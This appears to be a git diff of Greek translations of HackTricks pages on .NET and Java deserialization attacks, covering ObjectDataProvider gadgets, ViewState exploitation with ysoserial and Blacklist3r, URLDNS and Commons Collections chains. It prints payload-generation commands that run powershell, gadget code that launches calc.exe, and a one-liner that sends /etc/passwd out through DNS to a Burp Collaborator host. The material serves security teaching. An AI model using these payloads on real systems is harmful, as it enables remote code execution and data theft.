Ναι, είναι μια περίεργη εξήγηση, ας δούμε τι έχει αυτή η κλάση που είναι τόσο ενδιαφέρον: Αυτή η κλάση επιτρέπει να **περιτυλίξετε ένα αυθαίρετο αντικείμενο**, να χρησιμοποιήσετε _**MethodParameters**_ για να **ορίσετε αυθαίρετες παραμέτρους,** και στη συνέχεια **να χρησιμοποιήσετε το MethodName για να καλέσετε μια αυθαίρετη συνάρτηση** του αυθαίρετου αντικειμένου που δηλώνεται χρησιμοποιώντας τις αυθαίρετες παραμέτρους.\
|
||||
Επομένως, το αυθαίρετο **αντικείμενο** θα **εκτελέσει** μια **συνάρτηση** με **παραμέτρους ενώ αποδομείται.**
|
||||
Επομένως, το αυθαίρετο **αντικείμενο** θα **εκτελέσει** μια **συνάρτηση** με **παραμέτρους ενώ αποσυμπιέζεται.**
|
||||
|
||||
### **Πώς είναι αυτό δυνατό**
|
||||
|
||||
Ο **namespace System.Windows.Data**, που βρίσκεται μέσα στο **PresentationFramework.dll** στο `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, είναι όπου ορίζεται και υλοποιείται το ObjectDataProvider.
|
||||
Ο **χώρος ονομάτων System.Windows.Data**, που βρίσκεται μέσα στο **PresentationFramework.dll** στο `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, είναι όπου ορίζεται και υλοποιείται το ObjectDataProvider.
|
||||
|
||||
Χρησιμοποιώντας [**dnSpy**](https://github.com/0xd4d/dnSpy) μπορείτε να **εξετάσετε τον κώδικα** της κλάσης που μας ενδιαφέρει. Στην εικόνα παρακάτω βλέπουμε τον κώδικα του **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Όνομα μεθόδου**
|
||||
|
||||
@ -59,7 +59,7 @@ myODP.MethodName = "Start";
|
||||
Χρησιμοποιώντας την προηγούμενη εκμετάλλευση, θα υπάρχουν περιπτώσεις όπου το **αντικείμενο** θα **αποσυμπιεστεί ως** μια _**ObjectDataProvider**_ παρουσία (για παράδειγμα στην ευπάθεια DotNetNuke, χρησιμοποιώντας XmlSerializer, το αντικείμενο αποσυμπιέστηκε χρησιμοποιώντας `GetType`). Στη συνέχεια, θα έχει **καμία γνώση του τύπου του αντικειμένου που είναι περιτυλιγμένο** στην _ObjectDataProvider_ παρουσία (`Process` για παράδειγμα). Μπορείτε να βρείτε περισσότερες [πληροφορίες σχετικά με την ευπάθεια DotNetNuke εδώ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
|
||||
Αυτή η κλάση επιτρέπει να **καθορίσετε τους τύπους αντικειμένων των αντικειμένων που είναι ενσωματωμένα** σε μια δεδομένη παρουσία. Έτσι, αυτή η κλάση μπορεί να χρησιμοποιηθεί για να ενσωματώσει ένα αντικείμενο πηγής (_ObjectDataProvider_) σε έναν νέο τύπο αντικειμένου και να παρέχει τις ιδιότητες που χρειαζόμαστε (_ObjectDataProvider.MethodName_ και _ObjectDataProvider.MethodParameters_).\
|
||||
Αυτό είναι πολύ χρήσιμο για περιπτώσεις όπως αυτή που παρουσιάστηκε προηγουμένως, επειδή θα είμαστε σε θέση να **τυλίξουμε \_ObjectDataProvider**_\*\* μέσα σε μια \*\*_**ExpandedWrapper** \_ παρουσία και **όταν αποσυμπιεστεί** αυτή η κλάση θα **δημιουργήσει** το _**OjectDataProvider**_ αντικείμενο που θα **εκτελέσει** τη **λειτουργία** που υποδεικνύεται στο _**MethodName**_.
|
||||
Αυτό είναι πολύ χρήσιμο για περιπτώσεις όπως αυτή που παρουσιάστηκε προηγουμένως, επειδή θα είμαστε σε θέση να **περιτυλίξουμε \_ObjectDataProvider**_\*\* μέσα σε μια \*\*_**ExpandedWrapper** \_ παρουσία και **όταν αποσυμπιεστεί** αυτή η κλάση θα **δημιουργήσει** το _**OjectDataProvider**_ αντικείμενο που θα **εκτελέσει** τη **λειτουργία** που υποδεικνύεται στο _**MethodName**_.
|
||||
|
||||
Μπορείτε να ελέγξετε αυτόν τον περιτυλιγμένο με τον ακόλουθο κώδικα:
|
||||
```java
|
||||
@ -85,7 +85,7 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||||
```
|
||||
## Json.Net
|
||||
|
||||
Στη [επίσημη ιστοσελίδα](https://www.newtonsoft.com/json) αναφέρεται ότι αυτή η βιβλιοθήκη επιτρέπει να **Σειριοποιήσετε και αποσειριοποιήσετε οποιοδήποτε αντικείμενο .NET με τον ισχυρό σειριοποιητή JSON του Json.NET**. Έτσι, αν μπορούσαμε να **αποσειριοποιήσουμε το gadget ObjectDataProvider**, θα μπορούσαμε να προκαλέσουμε μια **RCE** απλά αποσειριοποιώντας ένα αντικείμενο.
|
||||
Στη [επίσημη ιστοσελίδα](https://www.newtonsoft.com/json) αναφέρεται ότι αυτή η βιβλιοθήκη επιτρέπει να **Σειριοποιήσετε και αποσειριοποιήσετε οποιοδήποτε αντικείμενο .NET με τον ισχυρό σειριοποιητή JSON του Json.NET**. Έτσι, αν μπορούσαμε να **αποσειριοποιήσουμε το gadget ObjectDataProvider**, θα μπορούσαμε να προκαλέσουμε ένα **RCE** απλά αποσειριοποιώντας ένα αντικείμενο.
|
||||
|
||||
### Παράδειγμα Json.Net
|
||||
|
||||
|
@ -1,12 +1,12 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Σε αυτή την ανάρτηση θα εξηγηθεί ένα παράδειγμα χρησιμοποιώντας `java.io.Serializable`.
|
||||
Σε αυτήν την ανάρτηση θα εξηγηθεί ένα παράδειγμα χρησιμοποιώντας `java.io.Serializable`.
|
||||
|
||||
# Serializable
|
||||
|
||||
Η διεπαφή Java `Serializable` (`java.io.Serializable` είναι μια διεπαφή σήμανσης που οι κλάσεις σας πρέπει να υλοποιούν αν θέλουν να **σειριοποιηθούν** και **αποσειριοποιηθούν**. Η σειριοποίηση αντικειμένων Java (γραφή) γίνεται με το [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) και η αποσειριοποίηση (ανάγνωση) γίνεται με το [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
|
||||
|
||||
Ας δούμε ένα παράδειγμα με μια **κλάση Person** η οποία είναι **σειριοποιήσιμη**. Αυτή η κλάση **υπερκαλύπτει τη συνάρτηση readObject**, έτσι όταν **οποιοδήποτε αντικείμενο** αυτής της **κλάσης** είναι **αποσειριοποιημένο** αυτή η **συνάρτηση** θα **εκτελείται**.\
|
||||
Ας δούμε ένα παράδειγμα με μια **κλάση Person** η οποία είναι **σειριοποιήσιμη**. Αυτή η κλάση **υπερκαλύπτει τη συνάρτηση readObject**, έτσι όταν **οποιοδήποτε αντικείμενο** αυτής της **κλάσης** είναι **αποσειριοποιημένο**, αυτή η **συνάρτηση** θα **εκτελείται**.\
|
||||
Στο παράδειγμα, η **συνάρτηση readObject** της κλάσης Person καλεί τη συνάρτηση `eat()` του κατοικίδιου του και η συνάρτηση `eat()` ενός Σκύλου (για κάποιο λόγο) καλεί ένα **calc.exe**. **Θα δούμε πώς να σειριοποιήσουμε και να αποσειριοποιήσουμε ένα αντικείμενο Person για να εκτελέσουμε αυτόν τον υπολογιστή:**
|
||||
|
||||
**Το παρακάτω παράδειγμα είναι από [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)**
|
||||
|
@ -1,5 +1,5 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Ελέγξτε την καταπληκτική ανάρτηση από** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
**Δείτε την καταπληκτική ανάρτηση από** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -19,16 +19,16 @@
|
||||
|
||||
## Δοκιμαστικές Περιπτώσεις
|
||||
|
||||
Η εικόνα είναι ένας πίνακας που λεπτομερεί διαφορετικές ρυθμίσεις για το ViewState στο ASP.NET με βάση την έκδοση του .NET framework. Ακολουθεί μια σύνοψη του περιεχομένου:
|
||||
Η εικόνα είναι ένας πίνακας που λεπτομερεί διαφορετικές ρυθμίσεις για το ViewState στο ASP.NET με βάση την έκδοση του .NET framework. Ακολουθεί μια περίληψη του περιεχομένου:
|
||||
|
||||
1. Για **οποιαδήποτε έκδοση του .NET**, όταν και οι δύο MAC και Κρυπτογράφηση είναι απενεργοποιημένες, δεν απαιτείται MachineKey, και επομένως δεν υπάρχει εφαρμόσιμη μέθοδος για να το προσδιορίσουμε.
|
||||
2. Για **εκδόσεις κάτω από 4.5**, εάν ο MAC είναι ενεργοποιημένος αλλά η Κρυπτογράφηση δεν είναι, απαιτείται MachineKey. Η μέθοδος για τον προσδιορισμό του MachineKey αναφέρεται ως "Blacklist3r."
|
||||
3. Για **εκδόσεις κάτω από 4.5**, ανεξαρτήτως αν ο MAC είναι ενεργοποιημένος ή απενεργοποιημένος, εάν η Κρυπτογράφηση είναι ενεργοποιημένη, απαιτείται MachineKey. Ο προσδιορισμός του MachineKey είναι έργο για το "Blacklist3r - Future Development."
|
||||
4. Για **εκδόσεις 4.5 και άνω**, όλοι οι συνδυασμοί MAC και Κρυπτογράφησης (είτε και οι δύο είναι true, είτε ο ένας είναι true και ο άλλος false) απαιτούν MachineKey. Ο MachineKey μπορεί να προσδιοριστεί χρησιμοποιώντας το "Blacklist3r."
|
||||
3. Για **εκδόσεις κάτω από 4.5**, ανεξαρτήτως αν ο MAC είναι ενεργοποιημένος ή απενεργοποιημένος, εάν η Κρυπτογράφηση είναι ενεργοποιημένη, απαιτείται MachineKey. Ο προσδιορισμός του MachineKey είναι έργο για τον "Blacklist3r - Μελλοντική Ανάπτυξη."
|
||||
4. Για **εκδόσεις 4.5 και άνω**, όλοι οι συνδυασμοί MAC και Κρυπτογράφησης (είτε και οι δύο είναι true, είτε ο ένας είναι true και ο άλλος false) απαιτούν MachineKey. Ο MachineKey μπορεί να προσδιοριστεί χρησιμοποιώντας τον "Blacklist3r."
|
||||
|
||||
### Δοκιμαστική Περίπτωση: 1 – EnableViewStateMac=false και viewStateEncryptionMode=false
|
||||
|
||||
Είναι επίσης δυνατό να απενεργοποιηθεί εντελώς το ViewStateMAC ρυθμίζοντας το κλειδί μητρώου `AspNetEnforceViewStateMac` σε μηδέν στο:
|
||||
Είναι επίσης δυνατή η πλήρης απενεργοποίηση του ViewStateMAC ρυθμίζοντας το κλειδί μητρώου `AspNetEnforceViewStateMac` σε μηδέν στο:
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
@ -41,16 +41,16 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
### Test case 1.5 – Όπως η δοκιμή 1 αλλά το cookie ViewState δεν αποστέλλεται από τον διακομιστή
|
||||
|
||||
Οι προγραμματιστές μπορούν να **αφαιρέσουν το ViewState** από το να γίνει μέρος ενός HTTP Request (ο χρήστης δεν θα λάβει αυτό το cookie).\
|
||||
Κάποιος μπορεί να υποθέσει ότι αν το **ViewState** είναι **μη παρόν**, η υλοποίησή τους είναι **ασφαλής** από οποιαδήποτε πιθανή ευπάθεια που προκύπτει από την αποσυναρμολόγηση του ViewState.\
|
||||
Ωστόσο, αυτό δεν ισχύει. Αν **προσθέσουμε την παράμετρο ViewState** στο σώμα του αιτήματος και στείλουμε το σειριασμένο payload που δημιουργήθηκε χρησιμοποιώντας το ysoserial, θα μπορέσουμε ακόμα να επιτύχουμε **εκτέλεση κώδικα** όπως φαίνεται στην **Περίπτωση 1**.
|
||||
Κάποιος μπορεί να υποθέσει ότι αν το **ViewState** είναι **μη παρόν**, η υλοποίησή τους είναι **ασφαλής** από οποιεσδήποτε πιθανές ευπάθειες που προκύπτουν από την αποσυναρμολόγηση του ViewState.\
|
||||
Ωστόσο, αυτό δεν ισχύει. Αν **προσθέσουμε την παράμετρο ViewState** στο σώμα του αιτήματος και στείλουμε το σειριασμένο payload μας που δημιουργήθηκε χρησιμοποιώντας το ysoserial, θα μπορέσουμε ακόμα να επιτύχουμε **εκτέλεση κώδικα** όπως φαίνεται στην **Περίπτωση 1**.
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 και EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
Για να **ενεργοποιήσουμε το ViewState MAC** για μια **συγκεκριμένη σελίδα** πρέπει να κάνουμε τις εξής αλλαγές σε ένα συγκεκριμένο αρχείο aspx:
|
||||
Για να **ενεργοποιήσουμε το ViewState MAC** για μια **συγκεκριμένη σελίδα** πρέπει να κάνουμε τις παρακάτω αλλαγές σε ένα συγκεκριμένο αρχείο aspx:
|
||||
```bash
|
||||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||||
```
|
||||
Μπορούμε επίσης να το κάνουμε για την **γενική** εφαρμογή ρυθμίζοντάς το στο αρχείο **web.config** όπως φαίνεται παρακάτω:
|
||||
Μπορούμε επίσης να το κάνουμε για **γενική** εφαρμογή ρυθμίζοντάς το στο αρχείο **web.config** όπως φαίνεται παρακάτω:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<configuration>
|
||||
@ -61,7 +61,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
</system.web>
|
||||
</configuration>
|
||||
```
|
||||
Καθώς η παράμετρος είναι προστατευμένη με MAC, αυτή τη φορά για να εκτελέσουμε επιτυχώς την επίθεση, πρώτα χρειάζεται το κλειδί που χρησιμοποιήθηκε.
|
||||
Καθώς η παράμετρος είναι προστατευμένη με MAC, αυτή τη φορά για να εκτελέσουμε επιτυχώς την επίθεση, πρώτα χρειαζόμαστε το κλειδί που χρησιμοποιήθηκε.
|
||||
|
||||
Μπορείτε να προσπαθήσετε να χρησιμοποιήσετε [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) για να βρείτε το κλειδί που χρησιμοποιήθηκε.
|
||||
```
|
||||
@ -81,7 +81,7 @@ python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgX
|
||||
```
|
||||

|
||||
|
||||
Ή, μπορεί να συνδεθεί απευθείας στη στοχευμένη διεύθυνση URL και να προσπαθήσει να αποσπάσει το viewstate από το HTML:
|
||||
Ή, μπορεί να συνδεθεί απευθείας στη στοχοθετημένη διεύθυνση URL και να προσπαθήσει να αποσπάσει το viewstate από το HTML:
|
||||
```
|
||||
pip install badsecrets
|
||||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||||
@ -102,13 +102,13 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
|
||||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||||
```
|
||||
Σε περιπτώσεις όπου η παράμετρος `_VIEWSTATEGENERATOR` **δεν αποστέλλεται** από τον διακομιστή, **δεν** χρειάζεται να **παρέχετε** την παράμετρο `--generator` **αλλά αυτές**:
|
||||
Σε περιπτώσεις όπου η παράμετρος `_VIEWSTATEGENERATOR` **δεν αποστέλλεται** από τον διακομιστή, **δεν** χρειάζεται να **παρέχετε** την παράμετρο `--generator` **αλλά αυτές τις**:
|
||||
```bash
|
||||
--apppath="/" --path="/hello.aspx"
|
||||
```
|
||||
### Test Case: 3 – .Net < 4.5 και EnableViewStateMac=true/false και ViewStateEncryptionMode=true
|
||||
|
||||
Σε αυτή την περίπτωση δεν είναι γνωστό αν η παράμετρος είναι προστατευμένη με MAC. Τότε, η τιμή είναι πιθανό να είναι κρυπτογραφημένη και θα **χρειαστείτε το Machine Key για να κρυπτογραφήσετε το payload σας** για να εκμεταλλευτείτε την ευπάθεια.
|
||||
Σε αυτή την περίπτωση δεν είναι γνωστό αν η παράμετρος είναι προστατευμένη με MAC. Τότε, η τιμή είναι πιθανώς κρυπτογραφημένη και θα **χρειαστείτε το Machine Key για να κρυπτογραφήσετε το payload σας** για να εκμεταλλευτείτε την ευπάθεια.
|
||||
|
||||
**Σε αυτή την περίπτωση το** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **module είναι υπό ανάπτυξη...**
|
||||
|
||||
@ -118,7 +118,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
|
||||
- Αφαιρέστε την παράμετρο `__VIEWSTATEENCRYPTED` από το αίτημα προκειμένου να εκμεταλλευτείτε την ευπάθεια αποσυμπίεσης ViewState, αλλιώς θα επιστρέψει ένα σφάλμα επικύρωσης MAC Viewstate και η εκμετάλλευση θα αποτύχει.
|
||||
|
||||
### Test Case: 4 – .Net >= 4.5 και EnableViewStateMac=true/false και ViewStateEncryptionMode=true/false εκτός αν και οι δύο ιδιότητες είναι false
|
||||
### Test Case: 4 – .Net >= 4.5 και EnableViewStateMac=true/false και ViewStateEncryptionMode=true/false εκτός αν και οι δύο παράμετροι είναι false
|
||||
|
||||
Μπορούμε να αναγκάσουμε τη χρήση του πλαισίου ASP.NET καθορίζοντας την παρακάτω παράμετρο μέσα στο αρχείο web.config όπως φαίνεται παρακάτω.
|
||||
```xml
|
||||
@ -155,7 +155,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
||||
|
||||

|
||||
|
||||
Μια επιτυχής εκμετάλλευση της ευπάθειας αποσυμπίεσης ViewState θα οδηγήσει σε ένα out-of-band αίτημα σε έναν διακομιστή που ελέγχεται από τον επιτιθέμενο, το οποίο περιλαμβάνει το όνομα χρήστη. Αυτός ο τύπος εκμετάλλευσης αποδεικνύεται σε μια απόδειξη έννοιας (PoC) που μπορεί να βρεθεί μέσω ενός πόρου με τίτλο "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Για περισσότερες λεπτομέρειες σχετικά με το πώς λειτουργεί η διαδικασία εκμετάλλευσης και πώς να χρησιμοποιήσετε εργαλεία όπως το Blacklist3r για να εντοπίσετε το MachineKey, μπορείτε να αναθεωρήσετε την παρεχόμενη [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||||
Μια επιτυχής εκμετάλλευση της ευπάθειας αποσυμπίεσης ViewState θα οδηγήσει σε ένα out-of-band αίτημα σε έναν διακομιστή που ελέγχεται από τον επιτιθέμενο, το οποίο περιλαμβάνει το όνομα χρήστη. Αυτός ο τύπος εκμετάλλευσης αποδεικνύεται σε μια απόδειξη της έννοιας (PoC) που μπορεί να βρεθεί μέσω ενός πόρου με τίτλο "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Για περισσότερες λεπτομέρειες σχετικά με το πώς λειτουργεί η διαδικασία εκμετάλλευσης και πώς να χρησιμοποιήσετε εργαλεία όπως το Blacklist3r για να εντοπίσετε το MachineKey, μπορείτε να αναθεωρήσετε την παρεχόμενη [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||||
|
||||
### Test Case 6 – Χρησιμοποιείται το ViewStateUserKeys
|
||||
|
||||
@ -168,7 +168,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
||||
|
||||
Για όλες τις περιπτώσεις δοκιμών, αν το payload ViewState YSoSerial.Net λειτουργεί **επιτυχώς**, τότε ο διακομιστής απαντά με “**500 Internal server error**” έχοντας περιεχόμενο απάντησης “**Η πληροφορία κατάστασης είναι μη έγκυρη για αυτή τη σελίδα και μπορεί να έχει διαφθαρεί**” και λαμβάνουμε το OOB request.
|
||||
|
||||
Ελέγξτε για [περισσότερες πληροφορίες εδώ](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
Έλεγχος για [περισσότερες πληροφορίες εδώ](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
|
||||
## Αναφορές
|
||||
|
||||
@ -177,6 +177,4 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
||||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,17 +1,17 @@
|
||||
# Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
|
||||
# Java DNS Deserialization, GadgetProbe και Java Deserialization Scanner
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## DNS request on deserialization
|
||||
## DNS αίτημα κατά την αποσειριοποίηση
|
||||
|
||||
Η κλάση `java.net.URL` υλοποιεί το `Serializable`, αυτό σημαίνει ότι αυτή η κλάση μπορεί να σειριοποιηθεί.
|
||||
Η κλάση `java.net.URL` υλοποιεί το `Serializable`, αυτό σημαίνει ότι αυτή η κλάση μπορεί να αποσειριοποιηθεί.
|
||||
```java
|
||||
public final class URL implements java.io.Serializable {
|
||||
```
|
||||
Αυτή η κλάση έχει μια **περίεργη συμπεριφορά.** Από την τεκμηρίωση: “**Δύο υπολογιστές θεωρούνται ισοδύναμοι αν και τα δύο ονόματα υπολογιστών μπορούν να επιλυθούν στις ίδιες διευθύνσεις IP**”.\
|
||||
Έτσι, κάθε φορά που ένα αντικείμενο URL καλεί **οποιαδήποτε** από τις **συναρτήσεις `equals`** ή **`hashCode`** μια **DNS αίτηση** για να αποκτήσει τη διεύθυνση IP θα **σταλεί**.
|
||||
|
||||
**Η κλήση** της συνάρτησης **`hashCode`** **από** ένα **αντικείμενο URL** είναι αρκετά εύκολη, αρκεί να εισάγετε αυτό το αντικείμενο μέσα σε ένα `HashMap` που πρόκειται να αποσυμπιεστεί. Αυτό συμβαίνει επειδή **στο τέλος** της συνάρτησης **`readObject`** από το `HashMap` εκτελείται αυτός ο κώδικας:
|
||||
**Η κλήση** της συνάρτησης **`hashCode`** **από** ένα **αντικείμενο URL** είναι αρκετά εύκολη, αρκεί να εισάγετε αυτό το αντικείμενο μέσα σε ένα `HashMap` που πρόκειται να αποσυμπιεστεί. Αυτό συμβαίνει επειδή **στο τέλος** της **συνάρτησης `readObject`** από το `HashMap` εκτελείται αυτός ο κώδικας:
|
||||
```java
|
||||
private void readObject(java.io.ObjectInputStream s)
|
||||
throws IOException, ClassNotFoundException {
|
||||
@ -21,14 +21,14 @@ for (int i = 0; i < mappings; i++) {
|
||||
putVal(hash(key), key, value, false, false);
|
||||
}
|
||||
```
|
||||
Εκτελείται το **execute** `putVal` με κάθε τιμή μέσα στο `HashMap`. Αλλά, πιο σχετική είναι η κλήση προς `hash` με κάθε τιμή. Αυτός είναι ο κώδικας της συνάρτησης `hash`:
|
||||
Είναι **να** **εκτελεί** το `putVal` με κάθε τιμή μέσα στο `HashMap`. Αλλά, πιο σχετική είναι η κλήση στο `hash` με κάθε τιμή. Αυτός είναι ο κώδικας της συνάρτησης `hash`:
|
||||
```java
|
||||
static final int hash(Object key) {
|
||||
int h;
|
||||
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
|
||||
}
|
||||
```
|
||||
Όπως μπορείτε να παρατηρήσετε, **κατά την αποσειριοποίηση** ενός **`HashMap`** η συνάρτηση `hash` θα **εκτελείται με κάθε αντικείμενο** και **κατά τη διάρκεια** της εκτέλεσης **`hash`** **θα εκτελείται** το `.hashCode()` του αντικειμένου. Επομένως, αν **αποσειριοποιήσετε** ένα **`HashMap`** **που περιέχει** ένα **αντικείμενο URL**, το **αντικείμενο URL** θα **εκτελέσει** το `.hashCode()`.
|
||||
Όπως μπορείτε να παρατηρήσετε, **κατά την αποσειριοποίηση** ενός **`HashMap`** η συνάρτηση `hash` θα **εκτελείται με κάθε αντικείμενο** και **κατά τη διάρκεια** της εκτέλεσης του **`hash`** **θα εκτελείται** το `.hashCode()` του αντικειμένου. Επομένως, αν **αποσειριοποιήσετε** ένα **`HashMap`** **που περιέχει** ένα **αντικείμενο URL**, το **αντικείμενο URL** θα **εκτελέσει** το `.hashCode()`.
|
||||
|
||||
Τώρα, ας ρίξουμε μια ματιά στον κώδικα του `URLObject.hashCode()`:
|
||||
```java
|
||||
@ -53,13 +53,13 @@ h += protocol.hashCode();
|
||||
InetAddress addr = getHostAddress(u);
|
||||
[ ... ]
|
||||
```
|
||||
Μπορείτε να δείτε ότι εκτελείται μια `getHostAddress` στον τομέα, **εκκινώντας ένα DNS query**.
|
||||
Μπορείτε να δείτε ότι εκτελείται ένα `getHostAddress` στο domain, **εκκινώντας ένα DNS query**.
|
||||
|
||||
Επομένως, αυτή η κλάση μπορεί να **καταχραστεί** προκειμένου να **εκκινήσει** ένα **DNS query** για να **δείξει** ότι είναι δυνατή η **deserialization**, ή ακόμα και για να **εξάγει πληροφορίες** (μπορείτε να προσθέσετε ως υποτομέα την έξοδο μιας εκτέλεσης εντολής).
|
||||
|
||||
### URLDNS payload code example
|
||||
|
||||
Μπορείτε να βρείτε τον [κώδικα payload URDNS από το ysoserial εδώ](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Ωστόσο, απλώς για να διευκολύνω την κατανόηση του πώς να το κωδικοποιήσετε, δημιούργησα το δικό μου PoC (βάσει αυτού από το ysoserial):
|
||||
Μπορείτε να βρείτε τον [κώδικα payload URDNS από το ysoserial εδώ](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Ωστόσο, απλά για να διευκολύνω την κατανόηση του πώς να το κωδικοποιήσετε, δημιούργησα το δικό μου PoC (βασισμένο σε αυτό από το ysoserial):
|
||||
```java
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
@ -176,7 +176,7 @@ return null;
|
||||
|
||||
### Java Deserialization DNS Exfil πληροφορίες
|
||||
|
||||
Κάντε το payload σας να εκτελέσει κάτι σαν το παρακάτω:
|
||||
Κάντε το payload σας να εκτελεί κάτι σαν το παρακάτω:
|
||||
```bash
|
||||
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
|
||||
```
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Java Transformers to Rutime exec()
|
||||
|
||||
Σε πολλές περιπτώσεις μπορείτε να βρείτε ένα payload αποδοχής java που χρησιμοποιεί transformers από τις Apache common collections όπως το παρακάτω:
|
||||
Σε αρκετές περιπτώσεις μπορείτε να βρείτε ένα payload αποδοχής java που χρησιμοποιεί transformers από τις Apache common collections όπως το παρακάτω:
|
||||
```java
|
||||
import org.apache.commons.*;
|
||||
import org.apache.commons.collections.*;
|
||||
@ -55,9 +55,9 @@ Runtime.getRuntime().exec(new String[]{"calc.exe"});
|
||||
```
|
||||
### Πώς
|
||||
|
||||
Λοιπόν, πώς η πρώτη payload που παρουσιάζεται είναι ισοδύναμη με αυτές τις "απλές" one-liners;
|
||||
Λοιπόν, πώς είναι το πρώτο payload που παρουσιάζεται ισοδύναμο με αυτά τα "απλά" one-liners;
|
||||
|
||||
**Πρώτον**, μπορείτε να παρατηρήσετε στην payload ότι δημιουργείται μια **αλυσίδα (πίνακας) μετασχηματισμών**:
|
||||
**Πρώτον**, μπορείτε να παρατηρήσετε στο payload ότι δημιουργείται μια **αλυσίδα (πίνακας) μετασχηματισμών**:
|
||||
```java
|
||||
String[] command = {"calc.exe"};
|
||||
final Transformer[] transformers = new Transformer[]{
|
||||
@ -84,9 +84,9 @@ command
|
||||
};
|
||||
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
||||
```
|
||||
Αν διαβάσετε τον κώδικα, θα παρατηρήσετε ότι αν με κάποιον τρόπο αλυσιοδέσετε τη μετατροπή του πίνακα, θα μπορούσατε να εκτελέσετε αυθαίρετες εντολές.
|
||||
Αν διαβάσετε τον κώδικα, θα παρατηρήσετε ότι αν με κάποιον τρόπο αλυσσοδέσετε τη μετατροπή του πίνακα, θα μπορούσατε να εκτελέσετε αυθαίρετες εντολές.
|
||||
|
||||
Έτσι, **πώς αλυσιοδεύονται αυτές οι μετατροπές;**
|
||||
Έτσι, **πώς αλυσσοδένονται αυτές οι μετατροπές;**
|
||||
```java
|
||||
Map map = new HashMap<>();
|
||||
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
|
||||
|
@ -45,7 +45,7 @@ CORBA (Common Object Request Broker Architecture) χρησιμοποιεί μι
|
||||
